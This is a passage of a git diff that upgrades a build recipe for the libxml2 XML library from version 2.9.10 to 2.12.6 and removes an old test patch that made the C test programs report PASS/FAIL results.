-+ printf("%s: xmlregexp\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlsave());
-+ printf("%s: xmlsave\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlschemas());
-+ printf("%s: xmlschemas\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlschemastypes());
-+ printf("%s: xmlschemastypes\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlstring());
-+ printf("%s: xmlstring\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlunicode());
-+ printf("%s: xmlunicode\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlwriter());
-+ printf("%s: xmlwriter\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xpath());
-+ printf("%s: xpath\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xpathInternals());
-+ printf("%s: xpathInternals\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xpointer());
-+ printf("%s: xpointer\n", (ret == 0) ? "PASS" : "FAIL");
-
- printf("Total: %d functions, %d tests, %d errors\n",
- function_tests, call_tests, test_ret);
-+
-+ printf("%s: testapi\n\n", (test_ret == 0) ? "PASS" : "FAIL");
- return(test_ret);
- }
-
-diff --git a/testchar.c b/testchar.c
-index 0d08792..f555d3b 100644
---- a/testchar.c
-+++ b/testchar.c
-@@ -23,7 +23,7 @@ static void errorHandler(void *unused, xmlErrorPtr err) {
- char document1[100] = "<doc>XXXX</doc>";
- char document2[100] = "<doc foo='XXXX'/>";
-
--static void testDocumentRangeByte1(xmlParserCtxtPtr ctxt, char *document,
-+static int testDocumentRangeByte1(xmlParserCtxtPtr ctxt, char *document,
- int len, char *data, int forbid1, int forbid2) {
- int i;
- xmlDocPtr res;
-@@ -37,33 +37,41 @@ static void testDocumentRangeByte1(xmlParserCtxtPtr ctxt, char *document,
- res = xmlReadMemory(document, len, "test", NULL, 0);
-
- if ((i == forbid1) || (i == forbid2)) {
-- if ((lastError == 0) || (res != NULL))
-+ if ((lastError == 0) || (res != NULL)) {
- fprintf(stderr,
- "Failed to detect invalid char for Byte 0x%02X: %c\n",
- i, i);
-+ return(1);
-+ }
- }
-
- else if ((i == '<') || (i == '&')) {
-- if ((lastError == 0) || (res != NULL))
-+ if ((lastError == 0) || (res != NULL)) {
- fprintf(stderr,
- "Failed to detect illegal char %c for Byte 0x%02X\n", i, i);
-+ return(1);
-+ }
- }
- else if (((i < 0x20) || (i >= 0x80)) &&
- (i != 0x9) && (i != 0xA) && (i != 0xD)) {
-- if ((lastError != XML_ERR_INVALID_CHAR) && (res != NULL))
-+ if ((lastError != XML_ERR_INVALID_CHAR) && (res != NULL)) {
- fprintf(stderr,
- "Failed to detect invalid char for Byte 0x%02X\n", i);
-+ return(1);
-+ }
- }
- else if (res == NULL) {
- fprintf(stderr,
- "Failed to parse valid char for Byte 0x%02X : %c\n", i, i);
-+ return(1);
- }
- if (res != NULL)
- xmlFreeDoc(res);
- }
-+ return(0);
- }
-
--static void testDocumentRangeByte2(xmlParserCtxtPtr ctxt, char *document,
-+static int testDocumentRangeByte2(xmlParserCtxtPtr ctxt, char *document,
- int len, char *data) {
- int i, j;
- xmlDocPtr res;
-@@ -80,10 +88,12 @@ static void testDocumentRangeByte2(xmlParserCtxtPtr ctxt, char *document,
-
- /* if first bit of first char is set, then second bit must too */
- if ((i & 0x80) && ((i & 0x40) == 0)) {
-- if ((lastError == 0) || (res != NULL))
-+ if ((lastError == 0) || (res != NULL)) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X\n",
- i, j);
-+ return(1);
-+ }
- }
-
- /*
-@@ -91,10 +101,12 @@ static void testDocumentRangeByte2(xmlParserCtxtPtr ctxt, char *document,
- * bits must be 10
- */
- else if ((i & 0x80) && ((j & 0xC0) != 0x80)) {
-- if ((lastError == 0) || (res != NULL))
-+ if ((lastError == 0) || (res != NULL)) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X\n",
- i, j);
-+ return(1);
-+ }
- }
-
- /*
-@@ -102,10 +114,12 @@ static void testDocumentRangeByte2(xmlParserCtxtPtr ctxt, char *document,
- * than 0x80, i.e. one of bits 5 to 1 of i must be set
- */
- else if ((i & 0x80) && ((i & 0x1E) == 0)) {
-- if ((lastError == 0) || (res != NULL))
-+ if ((lastError == 0) || (res != NULL)) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X\n",
- i, j);
-+ return(1);
-+ }
- }
-
- /*
-@@ -113,10 +127,12 @@ static void testDocumentRangeByte2(xmlParserCtxtPtr ctxt, char *document,
- * at least 3 bytes, but we give only 2 !
- */
- else if ((i & 0xE0) == 0xE0) {
-- if ((lastError == 0) || (res != NULL))
-+ if ((lastError == 0) || (res != NULL)) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X 0x00\n",
- i, j);
-+ return(1);
-+ }
- }
-
- /*
-@@ -125,11 +141,13 @@ static void testDocumentRangeByte2(xmlParserCtxtPtr ctxt, char *document,
- else if ((lastError != 0) || (res == NULL)) {
- fprintf(stderr,
- "Failed to parse document for Bytes 0x%02X 0x%02X\n", i, j);
-+ return(1);
- }
- if (res != NULL)
- xmlFreeDoc(res);
- }
- }
-+ return(0);
- }
-
- /**
-@@ -141,9 +159,10 @@ static void testDocumentRangeByte2(xmlParserCtxtPtr ctxt, char *document,
- * CDATA in text or in attribute values.
- */
-
--static void testDocumentRanges(void) {
-+static int testDocumentRanges(void) {
- xmlParserCtxtPtr ctxt;
- char *data;
-+ int test_ret = 0;
-
- /*
- * Set up a parsing context using the first document as
-@@ -152,7 +171,7 @@ static void testDocumentRanges(void) {
- ctxt = xmlNewParserCtxt();
- if (ctxt == NULL) {
- fprintf(stderr, "Failed to allocate parser context\n");
-- return;
-+ return(1);
- }
-
- printf("testing 1 byte char in document: 1");
-@@ -163,7 +182,7 @@ static void testDocumentRanges(void) {
- data[2] = ' ';
- data[3] = ' ';
- /* test 1 byte injection at beginning of area */
-- testDocumentRangeByte1(ctxt, &document1[0], strlen(document1),
-+ test_ret += testDocumentRangeByte1(ctxt, &document1[0], strlen(document1),
- data, -1, -1);
- printf(" 2");
- fflush(stdout);
-@@ -172,7 +191,7 @@ static void testDocumentRanges(void) {
- data[2] = ' ';
- data[3] = ' ';
- /* test 1 byte injection at end of area */
-- testDocumentRangeByte1(ctxt, &document1[0], strlen(document1),
-+ test_ret += testDocumentRangeByte1(ctxt, &document1[0], strlen(document1),
- data + 3, -1, -1);
-
- printf(" 3");
-@@ -183,7 +202,7 @@ static void testDocumentRanges(void) {
- data[2] = ' ';
- data[3] = ' ';
- /* test 1 byte injection at beginning of area */
-- testDocumentRangeByte1(ctxt, &document2[0], strlen(document2),
-+ test_ret += testDocumentRangeByte1(ctxt, &document2[0], strlen(document2),
- data, '\'', -1);
- printf(" 4");
- fflush(stdout);
-@@ -192,7 +211,7 @@ static void testDocumentRanges(void) {
- data[2] = ' ';
- data[3] = ' ';
- /* test 1 byte injection at end of area */
-- testDocumentRangeByte1(ctxt, &document2[0], strlen(document2),
-+ test_ret += testDocumentRangeByte1(ctxt, &document2[0], strlen(document2),
- data + 3, '\'', -1);
- printf(" done\n");
-
-@@ -204,7 +223,7 @@ static void testDocumentRanges(void) {
- data[2] = ' ';
- data[3] = ' ';
- /* test 2 byte injection at beginning of area */
-- testDocumentRangeByte2(ctxt, &document1[0], strlen(document1),
-+ test_ret += testDocumentRangeByte2(ctxt, &document1[0], strlen(document1),
- data);
- printf(" 2");
- fflush(stdout);
-@@ -213,7 +232,7 @@ static void testDocumentRanges(void) {
- data[2] = ' ';
- data[3] = ' ';
- /* test 2 byte injection at end of area */
-- testDocumentRangeByte2(ctxt, &document1[0], strlen(document1),
-+ test_ret += testDocumentRangeByte2(ctxt, &document1[0], strlen(document1),
- data + 2);
-
- printf(" 3");
-@@ -224,7 +243,7 @@ static void testDocumentRanges(void) {
- data[2] = ' ';
- data[3] = ' ';
- /* test 2 byte injection at beginning of area */
-- testDocumentRangeByte2(ctxt, &document2[0], strlen(document2),
-+ test_ret += testDocumentRangeByte2(ctxt, &document2[0], strlen(document2),
- data);
- printf(" 4");
- fflush(stdout);
-@@ -233,14 +252,15 @@ static void testDocumentRanges(void) {
- data[2] = ' ';
- data[3] = ' ';
- /* test 2 byte injection at end of area */
-- testDocumentRangeByte2(ctxt, &document2[0], strlen(document2),
-+ test_ret += testDocumentRangeByte2(ctxt, &document2[0], strlen(document2),
- data + 2);
- printf(" done\n");
-
- xmlFreeParserCtxt(ctxt);
-+ return(test_ret);
- }
-
--static void testCharRangeByte1(xmlParserCtxtPtr ctxt, char *data) {
-+static int testCharRangeByte1(xmlParserCtxtPtr ctxt, char *data) {
- int i = 0;
- int len, c;
-
-@@ -255,19 +275,25 @@ static void testCharRangeByte1(xmlParserCtxtPtr ctxt, char *data) {
- c = xmlCurrentChar(ctxt, &len);
- if ((i == 0) || (i >= 0x80)) {
- /* we must see an error there */
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Byte 0x%02X\n", i);
-+ return(1);
-+ }
- } else if (i == 0xD) {
-- if ((c != 0xA) || (len != 1))
-+ if ((c != 0xA) || (len != 1)) {
- fprintf(stderr, "Failed to convert char for Byte 0x%02X\n", i);
-+ return(1);
-+ }
- } else if ((c != i) || (len != 1)) {
- fprintf(stderr, "Failed to parse char for Byte 0x%02X\n", i);
-+ return(1);
- }
- }
-+ return(0);
- }
-
--static void testCharRangeByte2(xmlParserCtxtPtr ctxt, char *data) {
-+static int testCharRangeByte2(xmlParserCtxtPtr ctxt, char *data) {
- int i, j;
- int len, c;
-
-@@ -284,10 +310,12 @@ static void testCharRangeByte2(xmlParserCtxtPtr ctxt, char *data) {
-
- /* if first bit of first char is set, then second bit must too */
- if ((i & 0x80) && ((i & 0x40) == 0)) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X\n",
- i, j);
-+ return(1);
-+ }
- }
-
- /*
-@@ -295,10 +323,12 @@ static void testCharRangeByte2(xmlParserCtxtPtr ctxt, char *data) {
- * bits must be 10
- */
- else if ((i & 0x80) && ((j & 0xC0) != 0x80)) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X: %d\n",
- i, j, c);
-+ return(1);
-+ }
- }
-
- /*
-@@ -306,10 +336,12 @@ static void testCharRangeByte2(xmlParserCtxtPtr ctxt, char *data) {
- * than 0x80, i.e. one of bits 5 to 1 of i must be set
- */
- else if ((i & 0x80) && ((i & 0x1E) == 0)) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X: %d\n",
- i, j, c);
-+ return(1);
-+ }
- }
-
- /*
-@@ -317,10 +349,12 @@ static void testCharRangeByte2(xmlParserCtxtPtr ctxt, char *data) {
- * at least 3 bytes, but we give only 2 !
- */
- else if ((i & 0xE0) == 0xE0) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X 0x00\n",
- i, j);
-+ return(1);
-+ }
- }
-
- /*
-@@ -329,6 +363,7 @@ static void testCharRangeByte2(xmlParserCtxtPtr ctxt, char *data) {
- else if ((lastError != 0) || (len != 2)) {
- fprintf(stderr,
- "Failed to parse char for Bytes 0x%02X 0x%02X\n", i, j);
-+ return(1);
- }
-
- /*
-@@ -338,12 +373,14 @@ static void testCharRangeByte2(xmlParserCtxtPtr ctxt, char *data) {
- fprintf(stderr,
- "Failed to parse char for Bytes 0x%02X 0x%02X: expect %d got %d\n",
- i, j, ((j & 0x3F) + ((i & 0x1F) << 6)), c);
-+ return(1);
- }
- }
- }
-+ return(0);
- }
-
--static void testCharRangeByte3(xmlParserCtxtPtr ctxt, char *data) {
-+static int testCharRangeByte3(xmlParserCtxtPtr ctxt, char *data) {
- int i, j, k, K;
- int len, c;
- unsigned char lows[6] = {0, 0x80, 0x81, 0xC1, 0xFF, 0xBF};
-@@ -368,20 +405,24 @@ static void testCharRangeByte3(xmlParserCtxtPtr ctxt, char *data) {
- * at least 4 bytes, but we give only 3 !
- */
- if ((i & 0xF0) == 0xF0) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X 0x%02X 0x%02X\n",
- i, j, K, data[3]);
-+ return(1);
-+ }
- }
-
- /*
- * The second and the third bytes must start with 10
- */
- else if (((j & 0xC0) != 0x80) || ((K & 0xC0) != 0x80)) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X 0x%02X\n",
- i, j, K);
-+ return(1);
-+ }
- }
-
- /*
-@@ -390,10 +431,12 @@ static void testCharRangeByte3(xmlParserCtxtPtr ctxt, char *data) {
- * the 6th byte of data[1] must be set
- */
- else if (((i & 0xF) == 0) && ((j & 0x20) == 0)) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X 0x%02X\n",
- i, j, K);
-+ return(1);
-+ }
- }
-
- /*
-@@ -401,10 +444,12 @@ static void testCharRangeByte3(xmlParserCtxtPtr ctxt, char *data) {
- */
- else if (((value > 0xD7FF) && (value <0xE000)) ||
- ((value > 0xFFFD) && (value <0x10000))) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char 0x%04X for Bytes 0x%02X 0x%02X 0x%02X\n",
- value, i, j, K);
-+ return(1);
-+ }
- }
-
- /*
-@@ -414,6 +459,7 @@ static void testCharRangeByte3(xmlParserCtxtPtr ctxt, char *data) {
- fprintf(stderr,
- "Failed to parse char for Bytes 0x%02X 0x%02X 0x%02X\n",
- i, j, K);
-+ return(1);
- }
-
- /*
-@@ -423,13 +469,15 @@ static void testCharRangeByte3(xmlParserCtxtPtr ctxt, char *data) {
- fprintf(stderr,
- "Failed to parse char for Bytes 0x%02X 0x%02X 0x%02X: expect %d got %d\n",
- i, j, data[2], value, c);
-+ return(1);
- }
- }
- }
- }
-+ return(0);
- }
-
--static void testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
-+static int testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
- int i, j, k, K, l, L;
- int len, c;
- unsigned char lows[6] = {0, 0x80, 0x81, 0xC1, 0xFF, 0xBF};
-@@ -458,10 +506,12 @@ static void testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
- * at least 5 bytes, but we give only 4 !
- */
- if ((i & 0xF8) == 0xF8) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X 0x%02X 0x%02X\n",
- i, j, K, data[3]);
-+ return(1);
-+ }
- }
-
- /*
-@@ -469,10 +519,12 @@ static void testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
- */
- else if (((j & 0xC0) != 0x80) || ((K & 0xC0) != 0x80) ||
- ((L & 0xC0) != 0x80)) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X 0x%02X 0x%02X\n",
- i, j, K, L);
-+ return(1);
-+ }
- }
-
- /*
-@@ -481,10 +533,12 @@ static void testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
- * the 6 or 5th byte of j must be set
- */
- else if (((i & 0x7) == 0) && ((j & 0x30) == 0)) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char for Bytes 0x%02X 0x%02X 0x%02X 0x%02X\n",
- i, j, K, L);
-+ return(1);
-+ }
- }
-
- /*
-@@ -493,10 +547,12 @@ static void testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
- else if (((value > 0xD7FF) && (value <0xE000)) ||
- ((value > 0xFFFD) && (value <0x10000)) ||
- (value > 0x10FFFF)) {
-- if (lastError != XML_ERR_INVALID_CHAR)
-+ if (lastError != XML_ERR_INVALID_CHAR) {
- fprintf(stderr,
- "Failed to detect invalid char 0x%04X for Bytes 0x%02X 0x%02X 0x%02X 0x%02X\n",
- value, i, j, K, L);
-+ return(1);
-+ }
- }
-
- /*
-@@ -506,6 +562,7 @@ static void testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
- fprintf(stderr,
- "Failed to parse char for Bytes 0x%02X 0x%02X 0x%02X\n",
- i, j, K);
-+ return(1);
- }
-
- /*
-@@ -515,11 +572,13 @@ static void testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
- fprintf(stderr,
- "Failed to parse char for Bytes 0x%02X 0x%02X 0x%02X: expect %d got %d\n",
- i, j, data[2], value, c);
-+ return(1);
- }
- }
- }
- }
- }
-+ return(0);
- }
-
- /**
-@@ -530,11 +589,12 @@ static void testCharRangeByte4(xmlParserCtxtPtr ctxt, char *data) {
- * cover the full range of UTF-8 chars accepted by XML-1.0
- */
-
--static void testCharRanges(void) {
-+static int testCharRanges(void) {
- char data[5];
- xmlParserCtxtPtr ctxt;
- xmlParserInputBufferPtr buf;
- xmlParserInputPtr input;
-+ int test_ret = 0;
-
- memset(data, 0, 5);
-
-@@ -545,17 +605,19 @@ static void testCharRanges(void) {
- ctxt = xmlNewParserCtxt();
- if (ctxt == NULL) {
- fprintf(stderr, "Failed to allocate parser context\n");
-- return;
-+ return(1);
- }
- buf = xmlParserInputBufferCreateStatic(data, sizeof(data),
- XML_CHAR_ENCODING_NONE);
- if (buf == NULL) {
- fprintf(stderr, "Failed to allocate input buffer\n");
-+ test_ret = 1;
- goto error;
- }
- input = xmlNewInputStream(ctxt);
- if (input == NULL) {
- xmlFreeParserInputBuffer(buf);
-+ test_ret = 1;
- goto error;
- }
- input->filename = NULL;
-@@ -567,25 +629,28 @@ static void testCharRanges(void) {
-
- printf("testing char range: 1");
- fflush(stdout);
-- testCharRangeByte1(ctxt, data);
-+ test_ret += testCharRangeByte1(ctxt, data);
- printf(" 2");
- fflush(stdout);
-- testCharRangeByte2(ctxt, data);
-+ test_ret += testCharRangeByte2(ctxt, data);
- printf(" 3");
- fflush(stdout);
-- testCharRangeByte3(ctxt, data);
-+ test_ret += testCharRangeByte3(ctxt, data);
- printf(" 4");
- fflush(stdout);
-- testCharRangeByte4(ctxt, data);
-+ test_ret += testCharRangeByte4(ctxt, data);
- printf(" done\n");
- fflush(stdout);
-
- error:
- xmlFreeParserCtxt(ctxt);
-+ return(test_ret);
- }
-
- int main(void) {
-
-+ int ret = 0;
-+
- /*
- * this initialize the library and check potential ABI mismatches
- * between the version it was compiled for and the actual shared
-@@ -602,8 +667,9 @@ int main(void) {
- /*
- * Run the tests
- */
-- testCharRanges();
-- testDocumentRanges();
-+ ret += testCharRanges();
-+ ret += testDocumentRanges();
-+ printf("%s: testchar\n\n", (ret == 0) ? "PASS" : "FAIL");
-
- /*
- * Cleanup function for the XML library.
-diff --git a/testdict.c b/testdict.c
-index 40bebd0..114b934 100644
---- a/testdict.c
-+++ b/testdict.c
-@@ -440,5 +440,6 @@ int main(void)
- clean_strings();
- xmlCleanupParser();
- xmlMemoryDump();
-+ printf("%s: testdict\n\n", (ret == 0) ? "PASS" : "FAIL");
- return(ret);
- }
-diff --git a/testlimits.c b/testlimits.c
-index 68c94db..1584434 100644
---- a/testlimits.c
-+++ b/testlimits.c
-@@ -1634,5 +1634,6 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
- xmlCleanupParser();
- xmlMemoryDump();
-
-+ printf("%s: testlimits\n", (ret == 0) ? "PASS" : "FAIL");
- return(ret);
- }
-diff --git a/testrecurse.c b/testrecurse.c
-index f95ae1c..74c8f8b 100644
---- a/testrecurse.c
-+++ b/testrecurse.c
-@@ -892,6 +892,7 @@ launchTests(testDescPtr tst) {
- err++;
- }
- }
-+ printf("%s: %s\n", (err == 0) ? "PASS" : "FAIL", tst->desc);
- return(err);
- }
-
-@@ -961,5 +962,6 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
- xmlCleanupParser();
- xmlMemoryDump();
-
-+ printf("%s: testrecurse\n\n", (ret == 0) ? "PASS" : "FAIL");
- return(ret);
- }
---
-2.7.4
-
diff --git a/meta/recipes-core/libxml/libxml2_2.12.6.bb b/meta/recipes-core/libxml/libxml2_2.12.6.bb
new file mode 100644
index 0000000000..14fcff7fa4
--- /dev/null
+++ b/meta/recipes-core/libxml/libxml2_2.12.6.bb
@@ -0,0 +1,101 @@
+SUMMARY = "XML C Parser Library and Toolkit"
+DESCRIPTION = "The XML Parser Library allows for manipulation of XML files. Libxml2 exports Push and Pull type parser interfaces for both XML and HTML. It can do DTD validation at parse time, on a parsed document instance or with an arbitrary DTD. Libxml2 includes complete XPath, XPointer and Xinclude implementations. It also has a SAX like interface, which is designed to be compatible with Expat."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libxml2"
+BUGTRACKER = "http://bugzilla.gnome.org/buglist.cgi?product=libxml2"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://Copyright;md5=fec7ecfe714722b2bb0aaff7d200c701 \
+ file://dict.c;beginline=6;endline=15;md5=2b4b7b827d2d8b080372433c4c9c85b6 \
+ file://list.c;beginline=4;endline=13;md5=b9c25b021ccaf287e50060602d20f3a7 \
+ file://trio.c;beginline=5;endline=14;md5=cd4f61e27f88c1d43df112966b1cd28f \
+ "
+
+DEPENDS = "zlib virtual/libiconv"
+
+GNOMEBASEBUILDCLASS = "autotools"
+inherit gnomebase
+
+SRC_URI += "http://www.w3.org/XML/Test/xmlts20130923.tar;subdir=${BP};name=testtar \
+ file://run-ptest \
+ file://install-tests.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "889c593a881a3db5fdd96cc9318c87df34eb648edfc458272ad46fd607353fbb"
+SRC_URI[testtar.sha256sum] = "c6b2d42ee50b8b236e711a97d68e6c4b5c8d83e69a2be4722379f08702ea7273"
+
+# Disputed as a security issue, but fixed in d39f780
+CVE_STATUS[CVE-2023-45322] = "disputed: issue requires memory allocation to fail"
+
+BINCONFIG = "${bindir}/xml2-config"
+
+PACKAGECONFIG ??= "python \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+
+inherit autotools pkgconfig binconfig-disabled ptest
+
+inherit_defer ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3targetconfig', '', d)}
+
+LDFLAGS:append:riscv64 = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld ptest', ' -fuse-ld=bfd', '', d)}"
+
+RDEPENDS:${PN}-ptest += "bash make locale-base-en-us ${@bb.utils.contains('PACKAGECONFIG', 'python', 'libgcc python3-core python3-logging python3-shell python3-stringold python3-threading python3-unittest ${PN}-python', '', d)}"
+
+RDEPENDS:${PN}-python += "${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3-core', '', d)}"
+
+RDEPENDS:${PN}-ptest:append:libc-musl = " musl-locales"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-ebcdic-us \
+ glibc-gconv-ibm1141 \
+ glibc-gconv-iso8859-5 \
+ glibc-gconv-euc-jp \
+ "
+
+# WARNING: zlib is required for RPM use
+EXTRA_OECONF = "--without-debug --without-legacy --with-catalog --with-c14n --without-lzma --with-fexceptions"
+EXTRA_OECONF:class-native = "--without-legacy --with-c14n --without-lzma --with-zlib"
+EXTRA_OECONF:class-nativesdk = "--without-legacy --with-c14n --without-lzma --with-zlib"
+EXTRA_OECONF:linuxstdbase = "--with-debug --with-legacy --with-c14n --without-lzma --with-zlib"
+
+python populate_packages:prepend () {
+ # autonamer would call this libxml2-2, but we don't want that
+ if d.getVar('DEBIAN_NAMES'):
+ d.setVar('PKG:libxml2', '${MLPREFIX}libxml2')
+}
+
+PACKAGE_BEFORE_PN += "${PN}-utils"
+PACKAGES += "${PN}-python"
+
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-utils = "${bindir}/*"
+FILES:${PN}-python = "${PYTHON_SITEPACKAGES_DIR}"
+
+do_configure:prepend () {
+ # executables take longer to package: these should not be executable
+ find ${S}/xmlconf/ -type f -exec chmod -x {} \+
+}
+
+do_install_ptest () {
+ oe_runmake DESTDIR=${D} ptestdir=${PTEST_PATH} install-test-data
+
+ cp -r ${S}/xmlconf ${D}${PTEST_PATH}
+
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'python', 'true', 'false', d)}; then
+ rm -rf ${D}${PTEST_DIR}/python
+ fi
+}
+
+# with musl we need to enable icu support explicitly for these tests
+do_install_ptest:append:libc-musl () {
+ rm -rf ${D}/${PTEST_PATH}/test/icu_parse_test.xml
+}
+
+do_install:append:class-native () {
+ # Docs are not needed in the native case
+ rm ${D}${datadir}/gtk-doc -rf
+
+ create_wrapper ${D}${bindir}/xmllint 'XML_CATALOG_FILES=${XML_CATALOG_FILES:-${sysconfdir}/xml/catalog}'
+}
+do_install[vardepsexclude] += "XML_CATALOG_FILES:-${sysconfdir}/xml/catalog"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/libxml/libxml2_2.9.10.bb b/meta/recipes-core/libxml/libxml2_2.9.10.bb
deleted file mode 100644
index d11b083e8b..0000000000
--- a/meta/recipes-core/libxml/libxml2_2.9.10.bb
+++ /dev/null
@@ -1,112 +0,0 @@
-SUMMARY = "XML C Parser Library and Toolkit"
-DESCRIPTION = "The XML Parser Library allows for manipulation of XML files. Libxml2 exports Push and Pull type parser interfaces for both XML and HTML. It can do DTD validation at parse time, on a parsed document instance or with an arbitrary DTD. Libxml2 includes complete XPath, XPointer and Xinclude implementations. It also has a SAX like interface, which is designed to be compatible with Expat."
-HOMEPAGE = "http://www.xmlsoft.org/"
-BUGTRACKER = "http://bugzilla.gnome.org/buglist.cgi?product=libxml2"
-SECTION = "libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://Copyright;md5=2044417e2e5006b65a8b9067b683fcf1 \
- file://hash.c;beginline=6;endline=15;md5=96f7296605eae807670fb08947829969 \
- file://list.c;beginline=4;endline=13;md5=cdbfa3dee51c099edb04e39f762ee907 \
- file://trio.c;beginline=5;endline=14;md5=6c025753c86d958722ec76e94cae932e"
-
-DEPENDS = "zlib virtual/libiconv"
-
-SRC_URI = "http://www.xmlsoft.org/sources/libxml2-${PV}.tar.gz;name=libtar \
- http://www.w3.org/XML/Test/xmlts20080827.tar.gz;subdir=${BP};name=testtar \
- file://libxml-64bit.patch \
- file://runtest.patch \
- file://run-ptest \
- file://python-sitepackages-dir.patch \
- file://libxml-m4-use-pkgconfig.patch \
- file://0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch \
- file://fix-execution-of-ptests.patch \
- file://CVE-2020-7595.patch \
- file://CVE-2019-20388.patch \
- "
-
-SRC_URI[libtar.md5sum] = "10942a1dc23137a8aa07f0639cbfece5"
-SRC_URI[libtar.sha256sum] = "aafee193ffb8fe0c82d4afef6ef91972cbaf5feea100edc2f262750611b4be1f"
-SRC_URI[testtar.md5sum] = "ae3d1ebe000a3972afa104ca7f0e1b4a"
-SRC_URI[testtar.sha256sum] = "96151685cec997e1f9f3387e3626d61e6284d4d6e66e0e440c209286c03e9cc7"
-
-BINCONFIG = "${bindir}/xml2-config"
-
-PACKAGECONFIG ??= "python \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-inherit autotools pkgconfig binconfig-disabled ptest
-
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3native', '', d)}
-
-RDEPENDS_${PN}-ptest += "make ${@bb.utils.contains('PACKAGECONFIG', 'python', 'libgcc python3-core python3-logging python3-shell python3-stringold python3-threading python3-unittest ${PN}-python', '', d)}"
-
-RDEPENDS_${PN}-python += "${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3-core', '', d)}"
-
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-ebcdic-us \
- glibc-gconv-ibm1141 \
- glibc-gconv-iso8859-5 \
- glibc-gconv-euc-jp \
- locale-base-en-us \
- "
-
-export PYTHON_SITE_PACKAGES="${PYTHON_SITEPACKAGES_DIR}"
-
-# WARNING: zlib is required for RPM use
